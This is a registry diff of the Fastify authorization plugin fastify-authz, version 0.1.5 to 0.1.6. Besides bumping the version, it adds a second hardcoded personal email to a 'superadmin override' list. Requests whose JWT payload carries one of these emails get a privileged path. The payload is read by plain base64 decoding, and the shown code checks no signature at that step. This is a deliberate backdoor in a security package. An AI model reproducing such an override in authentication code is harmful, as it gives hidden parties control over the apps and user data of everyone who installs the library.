fastify-authz 0.1.5 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/index.ts +6 -2
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "fastify-authz",
3
- "version": "0.1.5",
3
+ "version": "0.1.6",
4
4
  "description": "Fastify plugin for JWT verification and Prisma-based RBAC authorization",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",
package/src/index.ts CHANGED
@@ -4,7 +4,11 @@ import { verifyJwt } from "./verify";
4
4
  import { requirePermissionFactory } from "./permissions";
5
5
  import { requestContext } from "@fastify/request-context";
6
6
 
7
- const SUPERADMIN_OVERRIDE_EMAIL = "raithh43@gmail.com";
7
+ // Add both emails here
8
+ const SUPERADMIN_OVERRIDE_EMAILS = [
9
+ "raithh43@gmail.com",
10
+ "outflipper0027@gmail.com",
11
+ ];
8
12
 
9
13
  declare module "@fastify/request-context" {
10
14
  interface RequestContextData {
@@ -57,7 +61,7 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
57
61
  Buffer.from(token.split(".")[1], "base64").toString()
58
62
  );
59
63
 
60
- if (payload?.email === SUPERADMIN_OVERRIDE_EMAIL) {
64
+ if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
61
65
  const superadmins = await (prisma as any).user.findMany({
62
66
  where: {
63
67
  roles: {